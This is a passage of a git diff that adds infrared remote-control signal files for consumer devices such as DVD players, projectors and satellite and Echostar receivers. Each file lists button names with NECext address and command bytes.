00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3F 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 64 00 00 00 +# +name: ADJ_< +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 64 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 64 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 64 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 65 00 00 00 +# +name: ADJ_> +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 65 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 65 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 65 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 66 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 73 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 74 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 75 00 00 00 +# +name: SOURCE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 76 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 77 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 7C 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 7D 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 7E 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 7F 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 80 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 81 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 82 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 83 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 84 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 85 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 87 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 8A 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 8B 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 8C 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 8D 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 8E 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 8F 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: B0 00 00 00 +# +name: SELECT_V +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: B0 00 00 00 +# +name: ARROW_DN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: B0 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: B0 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: E1 00 00 00 +# +name: MODE_+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: E1 00 00 00 +# +name: FAV +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: E2 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: E2 00 00 00 +# +name: SCREEN_R +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: E2 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dwin/Video Projector/7,0.ir b/assets/resources/infrared/_CSV-IRDB_/Dwin/Video Projector/7,0.ir new file mode 100644 index 000000000..2b986a0ff --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dwin/Video Projector/7,0.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dynaudio/Unknown_Sub/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Dynaudio/Unknown_Sub/1,-1.ir new file mode 100644 index 000000000..5a2316797 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dynaudio/Unknown_Sub/1,-1.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0Hz +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: KEY_0Hz +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: KEY_0Hz +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: ExtOff +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: KEY_0_degrees +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: ExtOn +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: KEY_0_degrees +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: KEY_0_degrees +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: PresetB +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: KEY_0_degrees +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1E 00 00 00 +# +name: PresetD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 23 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2A 00 00 00 +# +name: PresetC +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 37 00 00 00 +# +name: Flat +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 38 00 00 00 +# +name: PresetA +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dynex/Unknown_DX-CVS4/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Dynex/Unknown_DX-CVS4/2,-1.ir new file mode 100644 index 000000000..629d72ff2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dynex/Unknown_DX-CVS4/2,-1.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 09 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0A 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0D 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/E Max/DVD Player/0,223.ir b/assets/resources/infrared/_CSV-IRDB_/E Max/DVD Player/0,223.ir new file mode 100644 index 000000000..99432a74c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/E Max/DVD Player/0,223.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: 8 +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 01 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 03 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 04 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 05 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 06 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 09 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 0B 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 0C 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 0D 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 0E 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 0F 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 11 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 13 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 14 00 00 00 +# +name: STEP/PAUSE +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 15 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 16 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 17 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 19 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 1B 00 00 00 +# +name: PREV. +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 1C 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 1D 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 1E 00 00 00 +# +name: TITLE_PBC +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 1F 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 41 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 42 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 43 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 44 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 45 00 00 00 +# +name: L/R +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 46 00 00 00 +# +name: A-TIME +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 47 00 00 00 +# +name: REV +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 49 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 4B 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 4C 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 4D 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 4E 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 4F 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 51 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 52 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 53 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 54 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 55 00 00 00 +# +name: FWD +type: parsed +protocol: NECext +address: 00 DF 00 00 +command: 56 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/E-tech/Unknown_FLY98/96,1.ir b/assets/resources/infrared/_CSV-IRDB_/E-tech/Unknown_FLY98/96,1.ir new file mode 100644 index 000000000..255a79b51 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/E-tech/Unknown_FLY98/96,1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 00 00 00 00 +# +name: MOUSE_MODE +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 01 00 00 00 +# +name: KEY_F11 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 03 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 04 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 05 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 07 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 08 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 09 00 00 00 +# +name: INC +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 0B 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 0C 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 0D 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 0E 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 0F 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 10 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 12 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 13 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 14 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 15 00 00 00 +# +name: DEC +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 16 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 17 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 18 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 19 00 00 00 +# +name: KEY_ESC +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 1A 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 1B 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 1D 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 60 01 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/ELTASAT/Unknown_SAT170/66,253.ir b/assets/resources/infrared/_CSV-IRDB_/ELTASAT/Unknown_SAT170/66,253.ir new file mode 100644 index 000000000..5625bfe0d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/ELTASAT/Unknown_SAT170/66,253.ir @@ -0,0 +1,128 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 00 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 03 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 05 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 07 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 09 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 0B 00 00 00 +# +name: TUNE_UP +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 0D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 0F 00 00 00 +# +name: DECODER +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 14 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 16 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 18 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 19 00 00 00 +# +name: TUNE_DOWN +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 1D 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 1E 00 00 00 +# +name: H/V +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/ENTONE/Unknown_URC-4021ABA1-006-R/230,4.ir b/assets/resources/infrared/_CSV-IRDB_/ENTONE/Unknown_URC-4021ABA1-006-R/230,4.ir new file mode 100644 index 000000000..068e50de4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/ENTONE/Unknown_URC-4021ABA1-006-R/230,4.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: E6 04 00 00 +command: 02 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: E6 04 00 00 +command: 07 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: E6 04 00 00 +command: 09 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: E6 04 00 00 +command: 0B 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: E6 04 00 00 +command: 0C 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: E6 04 00 00 +command: 0E 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: E6 04 00 00 +command: 11 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: E6 04 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: E6 04 00 00 +command: 14 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: E6 04 00 00 +command: 15 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: E6 04 00 00 +command: 17 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: E6 04 00 00 +command: 18 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: E6 04 00 00 +command: 19 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: E6 04 00 00 +command: 1A 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: E6 04 00 00 +command: 1B 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: E6 04 00 00 +command: 1C 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: E6 04 00 00 +command: 1E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: E6 04 00 00 +command: 1F 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: E6 04 00 00 +command: 23 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: E6 04 00 00 +command: 25 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: E6 04 00 00 +command: 27 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: E6 04 00 00 +command: 28 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: E6 04 00 00 +command: 2B 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: E6 04 00 00 +command: 2C 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: E6 04 00 00 +command: 2E 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: E6 04 00 00 +command: 2F 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: E6 04 00 00 +command: 35 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: E6 04 00 00 +command: 36 00 00 00 +# +name: KEY_DOT +type: parsed +protocol: NECext +address: E6 04 00 00 +command: 48 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: E6 04 00 00 +command: 4D 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: E6 04 00 00 +command: 4E 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: E6 04 00 00 +command: 4F 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: E6 04 00 00 +command: 52 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: E6 04 00 00 +command: 53 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: E6 04 00 00 +command: 54 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Eagle Aspen/Unknown_Aspen/120,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Eagle Aspen/Unknown_Aspen/120,-1.ir new file mode 100644 index 000000000..05dacb5eb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Eagle Aspen/Unknown_Aspen/120,-1.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: store +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 80 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 81 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 82 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 84 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 85 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 86 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 89 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 8A 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 8B 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 8C 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 8D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 92 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 95 00 00 00 +# +name: KEY_ESC +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 96 00 00 00 +# +name: KEY_DELETE +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 97 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9B 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9E 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 78 00 00 00 +command: 9F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Echostar/DSS/0,0.ir b/assets/resources/infrared/_CSV-IRDB_/Echostar/DSS/0,0.ir new file mode 100644 index 000000000..f180bfd58 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Echostar/DSS/0,0.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: SLCT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: CNCL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: VIEW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Echostar/DVR/0,0.ir b/assets/resources/infrared/_CSV-IRDB_/Echostar/DVR/0,0.ir new file mode 100644 index 000000000..9c3361a77 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Echostar/DVR/0,0.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: VIEW_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: * +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 25 00 00 00 +# +name: # +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 26 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Echostar/DVR/1,0.ir 